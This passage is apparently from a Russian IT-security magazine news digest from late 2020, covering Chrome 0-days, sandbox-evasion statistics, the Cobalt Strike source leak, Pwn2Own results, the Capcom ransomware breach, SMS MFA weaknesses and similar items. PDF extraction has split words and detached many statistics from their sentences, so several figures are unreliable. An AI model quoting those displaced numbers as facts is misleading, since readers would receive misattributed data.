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0‐DAY В CHROME
В  этом  месяце  раз работ чики  Google  выкати ли  три  обновле ния  Chrome
для Windows, Mac и Linux, что бы устра нить более десят ка уяз вимос тей, вклю‐ 
чая нес коль ко 0‐day‐проб лем, активно исполь зуемых хакера ми.

CVE-2020-16009
Баг  был  обна ружен  внут ренней  коман дой  безопас ности  Google,  задача
которой — отсле живать зло умыш ленни ков и их текущие опе рации. Проб лема
была свя зана с работой JavaScript‐движ ка V8 и допус кала уда лен ное выпол‐ 
нение про изволь ного кода. Пока под робнос ти об уяз вимос ти и ее экс плу ата‐ 
ции не раз гла шают ся.

Сто ит  заметить,  что это обыч ная прак тика для Google:  спе циалис ты  ком‐ 
пании  могут  месяца ми  «мол чать»  о  тех ничес ких  деталях  багов,  что бы
не давать зло умыш ленни кам под ска зок и поз волить поль зовате лям спо кой но
уста новить обновле ния.

CVE-2020-16010
Ис прав ление  этой  уяз вимос ти  появи лось  в  Chrome  для  Android  вер‐ 
сии  86.0.4240.185.  Извес тно,  что  проб лема  свя зана  с  перепол нени ем
буфера  кучи  в  одном  из  UI‐ком понен тов,  одна ко  тех ничес кие  под робнос ти
тоже  пока  не  рас кры вают ся.  Спе циалис ты  ком пании  отме чают,  что  уяз‐ 
вимость  уже  при меня лась  зло умыш ленни ками  для  побега  из  песоч ницы,  то
есть поз воляла выпол нить код вне изо лиро ван ной сре ды.

CVE-2020-16013 и CVE-2020-16017
Ес ли  пре дыду щие  проб лемы были  най дены  самими  инже нера ми Google,  то
на  этот  раз  уяз вимос ти  обна ружи ли  бла года ря  сооб щени ям,  получен ным
из  ано ним ного  источни ка.  CVE‐2020‐16013  опи сыва ется  как  «некор рек тная
импле мен тация  в  V8»,  а  CVE‐2020‐16017 —  как  «ошиб ка  наруше ния  целос‐ 
тнос ти  информа ции  в  памяти  типа  use  after  free»  в  сос таве  ком понен та Site
Isolation. Нес мотря  на общий источник,  в  нас тоящее  вре мя  неяс но,  исполь‐ 
зовались эти уяз вимос ти как часть еди ной цепоч ки экс пло итов или же их при‐ 
меня ли по отдель нос ти.

ОБХОД ПЕСОЧНИЦ
Эк спер ты  ком пании  Positive  Technologies  про ана лизи рова ли    семей ств  мал вари,  которые
были активны в пос ледние десять лет, и прос ледили за изме нени ями в методах обхо да песоч‐ 
ниц и средств ана лиза и обна руже ния.

36

  всех  вре донос ных  прог рамм,  вошед ших  в  иссле дова ние,  были  активны  в  2019–
2020 годах, и не менее   APT‐груп пировок по все му миру исполь зовали эту мал варь для атак,
при чем в   слу чаев с целью шпи она жа.
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В  2018–2019  годах  уве личи лось  количес тво  мал вари,  которая  при меня ет  методы  обхо да
песоч ниц. Впро чем, при чина, веро ятнее все го, в  том, что воз росло чис ло иссле дова ний мал‐ 
вари в целом.

Ча ще  все го  тех ники  обхо да  песоч ниц  и  обна руже ния  средств  ана лиза  внед ряют  в  мал варь
для уда лен ного дос тупа ( ) и заг рузчи ки ( ).56% 14%

Сре ди наибо лее час то встре чающих ся спо собов обхо да песоч ниц экспер ты наз вали отправ ку
WMI‐зап росов ( ) или иные про вер ки окру жения ( ), а так же про вер ку спис ка запущен‐ 
ных про цес сов ( ).

25% 33%
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VPN ОТ GOOGLE
Раз работ чики  Google  сооб щили,  что  кли енты  Google  One  смо гут  исполь‐ 
зовать  VPN‐сер вис  ком пании,  что  обес печит  им  допол нитель ный  уро вень
защиты  в  интерне те.  В  пер вую  оче редь  это  новов ведение  ори енти рова но
на тех, кто час то под клю чает ся к незащи щен ным сетям Wi‐Fi в кафе и дру гих
общес твен ных  мес тах,  наив но  рас кры вая  при  этом  дан ные  бан ков ских  карт
и дру гую лич ную информа цию.

Сер вис  будет  «бес плат ным»,  но  дос тупным  толь ко  для  кли ентов,  под‐ 
писан ных  на  Google  One  и  тариф ный  план  2  Тбайт  или  выше,  сто имость
которо го сос тавля ет 9,99 дол лара в месяц (699 руб лей в месяц для Рос сии).
Сна чала VPN‐сер вис будет дос тупен толь ко в США для Android, но в бли жай‐ 
шие  месяцы  Google  пла ниру ет  запус тить  новую  услу гу  и  в  дру гих  стра нах,
а так же для дру гих опе раци онных сис тем, вклю чая Windows, macOS и iOS.

«Мы  встро или  рас ширен ную  безопас ность  во  все  наши  про дук ты,
и VPN допол нитель но рас ширя ет эту безопас ность, что бы шиф ровать
весь онлайн‑тра фик вашего телефо на, незави симо от того, какое при- 
ложе ние  или  бра узер  вы  исполь зуете, —  рас ска зыва ет  Лариса Фон- 
тейн,  гла ва  Google  One.  —  VPN  встро ен  в  при ложе ние  Google  One,
поэто му  все го  одно  нажатие,  и  вы  можете  быть  уве рены,  что  ваше
соеди нение защище но от хакеров».

Раз работ чики  Google  уже  выпус тили  тех ничес кий  документ,  содер жащий
некото рые  тех ничес кие  под робнос ти  о  новом  VPN‐сер висе,  а  так же  опуб‐ 
ликова ли  исходный  код  кли ент ской  биб лиоте ки,  что бы  поль зовате ли
и  экспер ты  мог ли  про верить,  как  она  обра баты вает  дан ные.  В  ком пании
заверя ют, что VPN‐сер вис не ведет логов активнос ти поль зовате лей, а так же
любых  дан ных,  которые  могут  исполь зовать ся  для  рас кры тия  лич ной
информа ции. К таким дан ным отно сят ся: сетевой тра фик, IP‐адре са, вре мен‐ 
ные мет ки под клю чений и информа ция о полосе про пус кания.

 ПОЛЬЗОВАТЕЛЕЙ BRAVE20 000 000
Раз работ чики Brave пох васта лись, что с тех пор, как в прош лом году их бра узер наконец дос тиг
пер вой ста биль ной вер сии 1.0, его ауди тория замет но воз росла.

Так, еще осенью 2019 года Brave нас читывал лишь   активных поль зовате лей еже‐ 
месяч но, а теперь таковых уже более  .

8 700 000
20 000 000

Ежед невно бра узе ром поль зуют ся более   человек, и это пре выша ет прош логод ние
показа тели (  человек в день) более чем вдвое. Для срав нения: в нас тоящее вре мя
у Firefox свы ше   активных поль зовате лей.

7 000 000
3 000 000

220 000 000

Так же раз работ чики Brave  отме чают,  что  с  тех  пор,  как Apple  раз решила исполь зовать  в  iOS
любые бра узе ры по умол чанию, поль зователь ская база Brave на iOS уве личи лась на  .треть

RASPBERRY
В КЛАВИАТУРЕ
Ин женеры Raspberry  Pi  Foundation  пред ста вили  не  сов сем  обыч ный  гад жет:
пол ноцен ный  компь ютер,  раз мещен ный  в  кор пусе  неболь шой  (286  ×  122  ×
23 мм) кла виату ры. Прек расно понимая, какие ассо циации воз никнут у поль‐ 
зовате лей, раз работ чики даже при водят шуточ ное срав нение новин ки с Com‐
modore 64. Устрой ство позици они рует ся соз дателя ми как пол ноцен ный дес‐ 
ктоп ный ПК,  к  которо му нуж но лишь под клю чить монитор и про чую перифе‐ 
рию.

Raspberry  Pi  400  пос тро ена  на  базе  про цес сора  ARM  Cortex‐A72  (1,8  ГГц)
и  ком плек тует ся  4  Гбайт  опе ратив ной  памяти.  Кла виату ра  осна щена Gigabit
Ethernet, Bluetooth 5.0 (BLE) и Wi‐Fi 802.11b/g/n/ac, име ет два пор та USB 3.0,
один порт USB 2.0, интерфейс вво да‐вывода GPIO и слот для кар ты МicroSD.
Есть в Raspberry Pi 400 и два пор та HDMI, под держи вающих переда чу изоб‐ 
ражения в раз решении 4K с час тотой до 60 Гц. Питание на устрой ство пода‐ 
ется  через  порт USB‐C. По  сути,  это  более  быс трый  и  инте рес ный  вари ант
Raspberry Pi 4.

Де вайс дос тупен в двух вари антах: одна кла виату ра про дает ся за 70 дол‐ 
ларов  США,  в  ком плект  за  100  дол ларов  вклю чены  допол нитель но  мышь,
блок  питания,  HDMI‐кабель,  кар та  MicroSD  и  руководс тво.  Пока  про дажи
стар товали толь ко для Великоб ритании, США и Фран ции, но ожи дает ся, что
в бли жай шие недели устрой ство ста нет дос тупно в Ита лии, Гер мании и Испа‐ 
нии. Раз работ чики обе щают, что до кон ца года Raspberry Pi 400 так же появит‐ 
ся  в  Индии,  Авс тра лии  и  Новой  Зелан дии,  а  затем  (в  пер вые  нес коль ко
месяцев 2021 года) — по все му миру.

ДУРОВ ПОПРОБОВАЛ IPHONE 12 PRO
Па вел Дуров про дол жает выс тупать с кри тикой в адрес ком пании Apple. Но если рань ше кри‐ 
тика была в основном свя зана с  тем, что Apple зло упот ребля ет сво им положе нием на рын ке,
теперь в сво ем Telegram‐канале Дуров рас кри тико вал и новые iPhone.

→ «Толь ко  что  поп робовал  iPhone  12  Pro,  до  чего  гро моз дкая  желез ка. Он  выг лядит  и  ощу‐ 
щает ся как более круп ная вер сия iPhone 5 2012 года выпус ка, толь ко с урод ливыми камера ми,
тор чащими  [из  кор пуса]  на  трех  раз ных  высотах. Прес ловутая  „чел ка“  и широкие  гра ни  тоже
на мес те, из‐за чего стра дает соот ношение пло щади экра на к кор пусу и появ ляет ся ощу щение
уста рев шего устрой ства.

С  момен та  смер ти  Сти ва  Джоб са  прош ло  девять  лет,  а  ком пания  по‐преж нему  живет
за  счет  тех нологий  и  репута ции,  которые  он  соз дал,  без  каких‐либо  зна чимых  инно ваций.
Неуди витель но, что в начале текуще го года про дажи iPhone упа ли на 21%. Если эта тен денция
сох ранит ся, через 7–10 лет доля iPhone на мировом рын ке ста нет нез начитель ной»
— Павел Дуров у себя в Telegram

МИЛЛИАРД
В БИТКОЙНАХ
В ночь пре зидент ских выборов в США крип товалют ное сооб щес тво обра тило
вни мание на огромный перевод: кто‐то опус тошил бит койн‐кошелек, содер‐ 
жавший око ло мил лиар да дол ларов.

Ко шелек  был  свя зан  с  дар кнет‐мар кет плей сом  Silk  Road,  который  пред‐ 
лагал  сво им  поль зовате лям  самые  раз ные  незакон ные  товары  и  услу ги:
начиная от нар котиков и мал вари и закан чивая заказ ными убий ства ми. Мар‐ 
кет плейс был зак рыт влас тями еще в 2013 году, а его гла ва Росс Уль брихт —
при гово рен к двой ному пожиз ненно му зак лючению, которое сей час отбы вает
в США.

Ока залось, что мил лиард дол ларов обна ружи ли... пра воох раните ли. Про‐ 
курор США Дэвид Андерсон рас ска зал, что, нес мотря на зак рытие тор говой
пло щад ки  и  осуж дение  Уль брих та,  у  влас тей  оста вал ся  воп рос,  куда  же
делись  день ги.  Опе рато ры  Silk  Road  нап равля ли  бит койн‐тран закции  через
спе циаль ный  тум блер‐сер вис,  из‐за  чего  средс тва  было  край не  слож но
отсле дить.

При бег нув  к  помощи  спе циалис тов  из  ком пании  Chainalysis,  пра воох‐ 
ранитель ные  орга ны  обна ружи ли,  что  еще  в  2013  году  были  совер‐ 
шены  54  тран закции  на  общую  сум му  70  411,46  бит кой на,  которые  были
отправ лены на два адре са. Так как эти тран закции не фигури рова ли в собс‐ 
твен ной  базе  дан ных  Silk  Road,  пред полага лось,  что  средс тва  были  кем‐то
укра дены.

В  апре ле  2013  года  основная  часть  этих  средств,  в  раз‐ 
мере  69  471,082  201  бит кой на,  была  отправ лена  на  упо мяну тый  выше
кошелек,  обоз начен ный  в  бумагах  как  1HQ3  (по  пер вым  сим волам адре са).
В этом кошель ке в ито ге осе ло 69 370,224 915 43 бит кой на, или око ло мил‐ 
лиар да дол ларов США. В 2015 году неназ ванный хакер пытал ся лик видиро‐ 
вать часть укра ден ных средств через крип товалют ную бир жу BTC‐e, которая
в ито ге была зак рыта влас тями США за отмы вание денег. В Налого вой служ‐ 
бе  США  и  Минис терс тве  юсти ции  счи тают,  что  он  поп росту  украл  крип‐ 
товалю ту у Silk Road.

В  ито ге  в  начале  нояб ря  2020  года  тот  самый  хакер,  фигури рующий
в судеб ных докумен тах как  Individual X, был най ден пра воох раните лями, под‐ 
писал сог лашение с влас тями и передал им все содер жимое кошель ка 1HQ3.
Теперь Минюс ту пред сто ит доказать, что изъ ятая крип товалю та дей стви тель‐ 
но была свя зана с Silk Road и под лежала кон фиска ции.

МАЛВАРЬ ИЗ GOOGLE PLAY STORE
Эк спер ты  ком пании NortonLifeLock  (ранее Symantec) и  IMDEA Software  Institute опуб ликова ли
резуль таты  инте рес ного  иссле дова ния,  круп ней шего  в  сво ем  роде  на  текущий  момент:  изу‐ 
чили, по каким каналам вре донос ные при ложе ния попада ют на устрой ства поль зовате лей.

Бы ло изу чено про исхожде ние при ложе ний на   Android‐устрой ств за пери од с июня
по  сен тябрь  2019  года.  В  общей  слож ности  ана лизу  под вер глись  свы ше    APK
для   уни каль ных при ложе ний.

12 000 000
34  000  000

7 900 000

От    до    про ана лизи рован ных  при ложе ний  могут  рас ценивать ся  как  вре донос ные
или нежела тель ные.
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По ряд ка    вре донос ных  при ложе ний  были  взя ты  жер тва ми  нап рямую  из  Google  Play
Store. Вто рое мес то с боль шим отста вани ем занима ют аль тер натив ные магази ны при ложе ний,
на которые при ходит ся лишь   уста нов ленной мал вари.

67,5%

10%

ПРОБЛЕМЫ
LET’S ENCRYPT
Раз работ чики  Let’s Encrypt  пре дуп редили,  что  в 2021  году  серь езные проб‐ 
лемы с сер тифика тами и дос тупом к сай там могут воз никнуть у поль зовате лей
устрой ств, работа ющих под управле нием Android 7.1 (Nougat) и более ста рых
вер сий  ОС.  1  сен тября  2021  года  исте кает  срок  пар тнерс тва  Let’s  Encrypt
и орга низа ции IdenTrust. Это озна чает, что кор невой сер тификат Let’s Encrypt,
име ющий перек рес тную под пись с IdenTrust DST Root X3, тоже исте чет 1 сен‐ 
тября 2021 года.

Продолжение статьи →
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Let’s Encrypt  уже дав но име ет собс твен ный кор невой сер тификат  ISRG Root
X1,  поэто му  изме нение  не  вызовет  непола док  в  боль шинс тве  сов ремен ных
ОС.  Одна ко  это  не  каса ется  ста рых  вер сий  Android,  не  обновляв шихся
с 2016 года,  так как они не доверя ют собс твен ному кор невому сер тифика ту
Let’s Encrypt. К сожале нию, таких девай сов в эко сис теме Android нас читыва‐ 
ется  око ло  34%,  а  генери руют  они,  по  под сче там  инже неров  Let’s  Encrypt,
до 5% все го тра фика.

«Что  мы  можем  сде лать  с  этим?  Что  ж,  мы  хотели  бы  иметь  воз- 
можность  улуч шить  ситу ацию  с  обновле ниями  Android,  но  здесь  мы
ничего  не  можем  поделать.  Так же  мы  не  можем  поз волить  себе
купить  новые  телефо ны  всем  в  мире,  —  пишет  Джей коб  Хоф- 
фман‑Эндрюс,  ведущий  раз работ чик  Let’s  Encrypt.  —  Можем  ли  мы
получить еще одну перек рес тную под пись? Мы изу чали этот вари ант,
и  он  кажет ся  малове роят ным.  Это  боль шой  риск  для  цен тра  сер- 
тифика ции — перек рес тная под пись сер тифика та дру гого цен тра, ведь
таким обра зом они берут на себя ответс твен ность за все, что дела ет
дру гой центр сер тифика ции».

Раз работ чики  Let’s  Encrypt  совету ют  поль зовате лям  ста рых  устрой ств
готовить ся осенью к воз можным проб лемам и хотя бы уста новить мобиль ную
вер сию  Firefox  (этот  бра узер  име ет  собс твен ный  спи сок  доверен ных  кор‐ 
невых  сер тифика тов).  Так же  в  теории  мож но  уста новить  необ ходимые  сер‐ 
тифика ты вруч ную.

В MICROSOFT БУДЕТ РАБОТАТЬ «ОТЕЦ» ЯЗЫКА PYTHON
В  прош лом  году  «отец»  язы ка  Python  Гви до  ван  Рос сум,  которо му  тог да  исполни лось
уже 63 года, ото шел от дел и объ явил, что ухо дит на пен сию. Одна ко теперь ван Рос сум неожи‐ 
дан но сооб щил, что ско ро вер нется к работе, при чем не где‐нибудь, а в ком пании Microsoft.

→ «Я при шел к выводу, что на пен сии очень скуч но, и при соеди нил ся к отде лу раз работ чиков
Microsoft. Для чего? Слиш ком мно го вари антов, что бы перечис лить! Но это навер няка улуч шит
исполь зование  Python  (и  не  толь ко  в  Windows  :‐).  Здесь  мно го  опен сорса.  Сле дите  за  этой
областью»
— ван Рос сум у себя в Twitter

ИТОГИ PWN2OWN
И TIANFU CUP
Сос тязание  Pwn2Own  Tokyo  в  этом  году  про води лось  в  онлайн‐фор мате,
а учас тни ки демонс три рова ли свои экс пло иты уда лен но. Тем не менее учас‐ 
тни ки  зарабо тали  136  000  дол ларов,  обна ружив  и  про демонс три‐ 
ровав 23 уни каль ные уяз вимос ти на шес ти устрой ствах. Теперь про изво дите‐ 
лям отво дит ся 120 дней на выпуск исправ лений, преж де чем ZDI обна роду ет
под робнос ти багов.

По беди телем сорев нования ста ла коман да Team Flashback, в которую вхо‐ 
дят нас тоящие ветера ны Pwn2Own — Пед ро Рибей ро (Pedro Ribeiro) и Радек
Доман ски  (Radek  Domanski).  В  пер вый  день  сорев нований  Team  Flashback
успешно  взло мала  WAN‐интерфейс  мар шру тиза тора  NETGEAR  Nighthawk
R7800  и  смог ла  оста вить  на  устрой стве  устой чивый  бэк дор,  который  сох‐ 
ранял ся  даже  пос ле  сбро са  к  завод ским  нас трой кам.  Этот  взлом  при нес
коман де 20 000 дол ларов и два очка Master of Pwn.

Во  вто рой  день  Team  Flashback  ском про мети рова ла  мар шру тиза тор  TP‐
Link AC1750 Smart WiFi, исполь зовав для это го три RCE‐уяз вимос ти, и получи‐ 
ла еще 20 000 дол ларов и два очка.

Ко ман да DEVCORE, заняв шая вто рое мес то, зарабо тала 20 000 дол ларов
за  успешную  демонс тра цию  экс пло ита  про тив  NAS  Synology  DiskStation
DS418Play и еще 17 500 дол ларов — за экс пло ит для NAS Western Digital My
Cloud  Pro  Series  PR4100.  Для  взло ма  Western  Digital  коман да  исполь зовала
цепоч ку аж из шес ти уяз вимос тей.

В  Китае  тем  вре менем  прош ло  собс твен ное  хакер ское  сорев нование —
Tianfu  Cup,  очень  похожее  на  Pwn2Own  и  соз данное  имен но  пос ле  того,
как в 2018 году китай ское пра витель ство зап ретило мес тным ИБ‐иссле дова‐ 
телям учас тво вать в хакер ских кон курсах, орга низо ван ных за рубежом. Как и
во вре мя Pwn2Own, обо всех исполь зован ных экс пло итах и най ден ных багах
сооб щают раз работ чикам ском про мети рован ных про дук тов, и пат чи выходят
вско ре пос ле завер шения сорев нования.

По ито гам сорев нования учас тни ки про демонс три рова ли 23 попыт ки взло‐ 
ма, во вре мя которых уда лось ском про мети ровать:

iOS 14 (работа ющую на iPhone 11 Pro);•
Samsung Galaxy S20;•
Windows 10 2004 (April 2020);•
Ubuntu;•
Chrome;•
Safari;•
Firefox;•
Adobe PDF Reader;•
Docker (Community Edition);•
VMware ESXi (гипер визор);•
QEMU (эму лятор и вир туали затор);•
про шив ки роуте ров TP‐Link и ASUS.•

Как и в прош лом году, с боль шим отры вом победи ла коман да спе циалис тов
китай ско го  тех нологи чес кого  гиган та  Qihoo  360  (она  же  Team  360Vulcan).
Победи тели заб рали домой 744 500 дол ларов — поч ти две тре ти при зово го
фон да. Вто рое и третье мес та заняли коман да Ant‐Financial Light‐Year Security
Lab (258 000 дол ларов) и час тный ИБ‐иссле дова тель Панг (99 500 дол ларов).

УТЕЧКА CAPCOM
В начале нояб ря япон ская кор порация Capcom пос тра дала от хакер ской ата ки, и взлом пов лиял
на биз нес‐опе рации раз работ чика игр, вклю чая работу сис темы элек трон ной поч ты.

По дан ным СМИ, Capcom ста ла жер твой шиф роваль щика  . В  запис ке  с  тре‐ 
бова нием  выкупа  хакеры  сооб щали,  что  перед  началом  шиф рования  они  похити ли  око ло

 фай лов из кор поратив ных сетей Capcom в Япо нии, США и Канаде.

Ragnar Locker

1 Тбайт

Че рез нес коль ко недель Capcom приз нала, что хакеры похити ли не толь ко кон фиден циаль ные
кор поратив ные  докумен ты,  но  и  информа цию  о  кли ентах  и  сот рудни ках  ком пании.  В  общей
слож ности пос тра дали око ло   человек.350 000

ИСХОДНИКИ
COBALT STRIKE
На  GitHub  появил ся  репози торий,  который  содер жит  исходные  коды  Cobalt
Strike.  Судя  по  фай лу  src/main/resources/about.html,  это  исходни ки  Cobalt
Strike  вер сии  4.0,  выпущен ной  5  декаб ря  2019  года.  У  репози тория  уже
появи лось  более  1200  фор ков,  что  сущес твен но  зат рудня ет  сдер живание
даль нейше го рас простра нения исходни ков.

Cobalt  Strike  —  легитим ный  ком мерчес кий  инс тру мент,  соз данный
для пен тесте ров и  red  team и ори енти рован ный на экс плу ата цию и пос тэкс‐ 
плу ата цию.  Его  дав но  полюби ли  все  хакеры,  начиная  от  пра витель ствен ных
APT‐груп пировок  и  закан чивая опе рато рами шиф роваль щиков. Пол ная  вер‐ 
сия  Cobalt  Strike  оце нива ется  при мер но  в  3500  дол ларов  за  уста нов ку,  но,
как  пра вило,  зло умыш ленни ки  исполь зуют  Cobalt  Strike  бес плат но  (ста рые,
пират ские,  взло ман ные  и  незаре гис три рован ные  вер сии),  при меняя  его
во вре мя вымога тель ских атак для получе ния устой чивого уда лен ного дос тупа
к ском про мети рован ной сети.

ИБ‐эксперт  Виталий  Кре мез  (Vitali  Kremez)  из  ком пании  Advanced  Intel,
изу чав ший  исходни ки  по  прось бе  жур налис тов,  сооб щает,  что,  по  его  мне‐ 
нию, дан ный Java‐код был деком пилиро ван вруч ную. Неиз вес тный изба вил ся
от  всех  зависи мос тей  и  про вер ки  лицен зии,  что бы  инс тру мент мож но  было
ском пилиро вать  вновь.  Кре мез  пре дуп режда ет,  что  эта  утеч ка  может  иметь
серь езные  пос ледс твия,  так  как  она  «устра няет  вход ной  барь ер  на  пути
к получе нию инс тру мен та и сущес твен но облегча ет задачу получе ния и изме‐ 
нения кода для прес тупных груп пировок».

РАБОТА ПОСЛЕ ПАНДЕМИИ
«Лабора тория Кас пер ско го» выяс нила, что   рос сиян, занятых в малом и сред нем биз несе,
не готовы вер нуть ся к при выч ной орга низа ции рабоче го про цес са пос ле окон чания пан демии
корона виру са.

68%

На уда лен ке у людей появи лись воз можнос ти, которые они хотели бы сох ранить в даль нейшем:
боль ше вре мени про водить с семь ей ( ), не тра тить вре мя на дорогу до работы и обратно
( ) и эко номить день ги ( ).

54%
53% 45%

Око ло  тре ти  опро шен ных  не  хотели  бы  воз вра щать ся  к  тем  или  иным  при нятым  ранее  пра‐ 
вилам.  Нап ример,    не  готовы  сно ва  работать  по  стро гому  вось мичасо вому  гра фику.
В целом по миру этот показа тель даже выше —  . Еще   не хотят быть стро го при вяза ны
к офи су,   — к пятид невной рабочей неделе.

32%
39% 35%

33%

Каж дый  чет вертый  ( )  хотел  бы  про дол жать  работать  уда лен но  и  пос ле  окон чания  пан‐ 
демии.

24%

MICROSOFT
ПРОТИВ SMS
Эк спер ты ком пании Microsoft в оче ред ной раз под няли воп рос о небезо пас‐ 
ности мно гофак торной аутен тифика ции через телефон с помощью одно разо‐ 
вых кодов в SMS‐сооб щени ях (или голосо вых вызовов). Ком пания при зыва ет
исполь зовать более новые тех нологии: при ложе ния‐аутен тифика торы и клю‐ 
чи безопас ности.

Пре дуп режде ние  исхо дит  от  Алек са  Вей нер та  (Alex  Weinert),  гла вы
по  безопас ности  иден тифика цион ной  информа ции  Microsoft.  Вей нерт  объ‐ 
ясня ет, что, если есть выбор меж ду нес коль кими спо соба ми МФА, ни в коем
слу чае нель зя делать его в поль зу телефо на: аутен тифика ция через телефон
зависит  от  мно жес тва  узких  мест,  хотя  бы  от  сос тояния  телефон ных  сетей.
SMS‐сооб щения  и  голосо вые  вызовы  переда ются  в  откры том  виде  и  могут
быть лег ко перех вачены зло умыш ленни ками с помощью таких методов и инс‐ 
тру мен тов, как SDR (Software‐Defined Radio), FEMTO или багов SS7.

Кро ме того, одно разо вые коды из SMS‐сооб щений могут быть извле чены
с  помощью  опен сор сных  и  дос тупных  фишин говых  инс тру мен тов,  таких
как  Modlishka,  CredSniper  или  Evilginx.  Или  же  сот рудни ков  мобиль ных  опе‐ 
рато ров  могут  обма нуть  мошен ники,  что бы  под менить  SIM‐кар ту  жер твы
(такие  ата ки  обыч но  называ ют  SIM  swap),  что  поз волит  зло умыш ленни кам
получать  одно разо вые  коды  МФА  от  лица  цели.  По  сло вам  Вей нер та,  все
это дела ет МФА на осно ве SMS‐сооб щений и голосо вых вызовов «наиме нее
безопас ным из всех дос тупных на сегод ня методов МФА».

А  самое  надеж ное  из  защит ных  решений  —  исполь зовать  аппа рат ные
клю чи,  которые  Вей нерт  еще  в  прош лом  году  называл  «луч шим  решени ем
в области МФА».

На пом ним,  что  точ ка  зре ния  Вей нер та  не  нова:  еще  в  2016  году 
  инсти тут  стан дартов  и  тех нологий  США  (NIST)  пред ста вил

документ,  сог ласно  которо му  исполь зование  SMS‐сооб щений  для  двух‐ 
фактор ной  аутен тифика ции  будет  рас смат ривать ся  как  «недопус тимое»
и «небезо пас ное».

Национальный

РАСПРОДАЖИ И ФИШИНГ
Ана лити ки Check Point Research отме чают всплеск активнос ти хакеров в течение пос ледних 
недель. Из‐за огра ниче ний, свя зан ных с COVID‐19, онлайн‐шопинг в этом году вышел на новый
уро вень,  а  количес тво  онлайн‐покупок  в  «чер ную  пят ницу»,  «кибер понедель ник»  бьет  все
рекор ды. Но  к  буму интернет‐покупок  готовят ся  не  толь ко магази ны и  покупа тели,  зло умыш‐ 
ленни ки тоже мобили зуют ся, что бы зарабо тать на ски доч ном ажи ота же.

6

В пери од   во всем мире удво илось количес тво фишин говых рас‐ 
сылок со «спе циаль ными пред ложени ями»: со   слу чая в неделю в октябре до   слу чаев
в неделю к началу нояб ря.

с 8 октября по 9 нояб ря
121 243

Так же  на    уве личи лось  чис ло фишин говых  рас сылок,  свя зан ных  с  рас про дажа ми  и  спе‐ 
циаль ными  пред ложени ями  от  магази нов.  Подоб ные  элек трон ные  пись ма  содер жали  сло ва
«sale», «% off» и дру гие, свя зан ные с выгод ными покуп ками.

80%

Все го за   дня  (9 и 10 нояб ря)  количес тво фишин говых атак со  «спе циаль ными пред ложени‐ 
ями» было выше, чем за пер вые   дней октября.

2
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ПОБЕДА YOUTUBE‐DL
На GitHub вос ста нови ли репози торий опен сор сно го про екта youtube‐dl.

Эта исто рия началась в прош лом месяце, ког да пра вооб ладате ли из Аме‐ 
рикан ской  ассо циации  зву коза писы вающих  ком паний  (RIAA)  добились  уда‐ 
ления  youtube‐dl  и  17  его  копий.  Биб лиоте ка  была  уда лена  яко бы  из‐за
наруше ния DMCA (Digital Millennium Copyright Act — Закон об автор ском пра‐ 
ве в циф ровую эпо ху): по сло вам пра вооб ладате лей, про ект мог при менять ся
для «обхо да тех ничес ких мер защиты, исполь зуемых авто ризо ван ными стри‐ 
мин говыми сер висами, такими как YouTube».

Этот слу чай породил шквал кри тики в адрес RIAA, GitHub и ком пании Mi‐
crosoft,  которой  с  2018  года  при над лежит  сер вис.  Даже  Нэт  Фрид ман  (Nat
Friedman),  воз гла вив ший  GitHub  пос ле  при обре тения  сер виса  Microsoft
в  2018  году,  был  недово лен  сло жив шимся  положе нием  и  ско опе риро вал ся
с юрис тами Фон да элек трон ных рубежей (Electronic Frontier Foundation, EFF),
которые взя лись за ана лиз ситу ации.

В ито ге коман да EFF выяс нила, что Google не исполь зует какие‐либо тех‐ 
ничес кие средс тва для пре дот вра щения заг рузки сво их видео, которые дол‐ 
жны быть бес плат но дос тупны для всех видов при ложе ний, бра узе ров, умных
телеви зоров  и  так  далее.  Сле дова тель но,  биб лиоте ка  youtube‐dl  не  может
быть  заб локиро вана  в  соот ветс твии  с  раз делом  1201,  так  как  вооб ще
не обхо дит какую‐либо сис тему защиты автор ских прав.

Ес ли  говорить  короче,  youtube‐dl  ничего  не  наруша ет,  так  как  YouTube
ничего и не зап рещал.

Скан дал, свя зан ный с уда лени ем youtube‐dl, стал для GitHub хорошей воз‐ 
можностью  поучить ся:  пос ле  слу чив шегося  в  ком пании  пла ниру ют  учре дить
Фонд защиты раз работ чиков в раз мере 1 000 000 дол ларов,  который будет
исполь зовать ся для защиты раз работ чиков от «необос нован ных  тре бова ний
об уда лении на осно вании раз дела 1201 DMCA». Кро ме того, GitHub обе щает
за  свой  счет  нанять  тех ничес ких  и юри дичес ких  экспер тов,  а  так же  незави‐ 
симых  спе циалис тов,  которые  будут  рас смат ривать  все  пре тен зии  на  уда‐ 
ление кон тента.

123456
Бли зит ся  конец  года,  и  раз работ чики  менед жера  паролей  NordPass  в  оче ред ной  раз  опуб‐ 
ликова ли  спи сок  наибо лее  исполь зуемых  и  сла бых  паролей  2020  года.  Увы,  за  пос‐ 
ледние 12 месяцев безопас ность паролей нис коль ко не улуч шилась.

Для сос тавле ния еже год ного отче та экспер ты изу чили   паролей, про сочив шихся
в сеть в ходе раз личных уте чек дан ных.

275 699 516

На ибо лее рас простра нен ные пароли по‐преж нему неверо ятно лег ко уга дать: на взлом учет ных
записей с такими пароля ми у зло умыш ленни ков может уйти   или двух.мень ше секун ды

Толь ко   изу чен ных паролей были приз наны уни каль ными.44%

В 2020 году наибо лее популяр ными вари анта ми паролей были приз наны:  ,  ,
,   и  .

123456 123456789
picture1 password 12345678

Так же люди по‐преж нему час то исполь зуют дру гие сла бые пароли, которые край не лег ко уга‐ 
дать: сре ди них мож но перечис лить  ,  ,   и  .football iloveyou letmein pokemon
В ито ге топ‐10 худ ших паролей 2020 года выг лядит сле дующим обра зом.

ШПИОНСКИЙ
ПЫЛЕСОС
Груп па  уче ных  из  уни вер ситета  Мэрилен да  и  Наци ональ ного  уни вер ситета
Син гапура  про демонс три рова ла  ата ку  LidarPhone,  которая  спо соб на  прев‐ 
ратить  умный  пылесос  в  шпи онское  устрой ство,  записы вающее  раз говоры
поб лизос ти.  Как  мож но  понять  из  наз вания,  ата ка  полага ется  на  исполь‐ 
зование  встро енно го  в  устрой ство  лидара,  который  нужен  пылесо су
для навига ции в прос транс тве.

По тен циаль ный  зло умыш ленник  может  исполь зовать  лидар  и  его  лазер
в  качес тве лазер ного мик рофона,  которые неред ко при меня ются спец служ‐ 
бами.  Такой  мик рофон  нап равля ют  на  окон ное  стек ло  и  с  его  помощью
отсле жива ют  виб рации  стек ла,  затем  мож но  их  декоди ровать  и  рас шифро‐ 
вать раз говоры, про исхо див шие внут ри помеще ния.

Ата ка LidarPhone тре бует соб людения ряда опре делен ных усло вий. К при‐ 
